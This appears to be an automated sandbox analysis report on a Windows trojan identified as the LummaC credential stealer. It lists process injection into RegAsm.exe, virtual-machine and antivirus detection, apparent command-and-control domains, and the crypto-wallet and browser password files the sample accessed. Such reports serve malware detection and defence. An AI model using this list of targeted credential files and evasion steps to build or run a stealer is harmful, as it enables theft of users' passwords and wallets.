Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_01002578	0_2_01002578
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_0103D5A8	0_2_0103D5A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FECD70	0_2_00FECD70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_010354A8	0_2_010354A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_010064B8	0_2_010064B8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_0101FCB8	0_2_0101FCB8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FDEEE0	0_2_00FDEEE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_01001778	0_2_01001778
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FDBE6D	0_2_00FDBE6D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_0100E7A8	0_2_0100E7A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FE3653	0_2_00FE3653
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FE3F3F	0_2_00FE3F3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042112E	1_2_0042112E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004017B0	1_2_004017B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00422840	1_2_00422840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004218A0	1_2_004218A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00404B30	1_2_00404B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00402D10	1_2_00402D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043EE70	1_2_0043EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00437090	1_2_00437090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004080A0	1_2_004080A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00404160	1_2_00404160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042213D	1_2_0042213D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043F190	1_2_0043F190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041D35E	1_2_0041D35E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00403360	1_2_00403360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00410390	1_2_00410390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00406480	1_2_00406480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043F500	1_2_0043F500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00405720	1_2_00405720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042C85E	1_2_0042C85E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00406A50	1_2_00406A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00428AC0	1_2_00428AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00425B50	1_2_00425B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00439E10	1_2_00439E10

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: String function: 00FD6A00 appears 49 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00410520 appears 194 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00408AF0 appears 52 times

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Static PE information: Section: .Left ZLIB complexity 0.998236469568567

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00430169 CoCreateInstance,

1_2_00430169

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Virustotal: Detection: 46%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Static PE information: section name: .DAX
Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Static PE information: section name: .Left
Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Static PE information: section name: .INV

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FD6158 push ecx; ret	0_2_00FD616B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FF5F3D push esi; ret	0_2_00FF5F46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004337E3 push esp; iretd	1_2_004337E7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

API coverage: 5.7 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6756	Thread sleep time: -90000s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6736	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Code function: 0_2_00FE8F57 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00FE8F57

Source: RegAsm.exe, 00000001.00000002.1733522078.0000000000E1A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1733684610.0000000000E75000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0043B550 LdrInitializeThunk,

1_2_0043B550

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Code function: 0_2_00FD67DD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00FD67DD

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FEA021 mov eax, dword ptr fs:[00000030h]		0_2_00FEA021
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FE010F mov ecx, dword ptr fs:[00000030h]		0_2_00FE010F

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Code function: 0_2_00FEC620 GetProcessHeap,

0_2_00FEC620

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FD6939 SetUnhandledExceptionFilter,	0_2_00FD6939
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FD6A4A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00FD6A4A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FD67DD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00FD67DD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_00FDA713 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00FDA713

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	String found in binary or memory: boredimperissvieos.shop
Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	String found in binary or memory: plaintediousidowsko.shop
Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	String found in binary or memory: miniaturefinerninewjs.shop
Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	String found in binary or memory: holicisticscrarws.shop
Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	String found in binary or memory: sweetsquarediaslw.shop
Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	String found in binary or memory: acceptabledcooeprs.shop
Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	String found in binary or memory: pearcyworkeronej.shop
Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	String found in binary or memory: zippyfinickysofwps.shop
Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	String found in binary or memory: obsceneclassyjuwks.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 443000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 457000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 84D008	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Code function: 0_2_00FD64BC cpuid

0_2_00FD64BC

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: GetLocaleInfoW,	0_2_00FEC0C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: EnumSystemLocalesW,	0_2_00FE5022
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00FEC1E9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: GetLocaleInfoW,	0_2_00FEC2EF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00FEC3BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: EnumSystemLocalesW,	0_2_00FEBCFC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: EnumSystemLocalesW,	0_2_00FEBDE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: GetLocaleInfoW,	0_2_00FE5548
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: EnumSystemLocalesW,	0_2_00FEBD47
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00FEBE6D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Code function: 0_2_00FD66D0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00FD66D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000001.00000002.1733522078.0000000000E3B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000001.00000002.1733684610.0000000000E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: RegAsm.exe, 00000001.00000002.1733951463.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: RegAsm.exe, 00000001.00000002.1733684610.0000000000E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegAsm.exe, 00000001.00000002.1733684610.0000000000E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegAsm.exe, 00000001.00000002.1733684610.0000000000E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegAsm.exe, 00000001.00000002.1733684610.0000000000E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
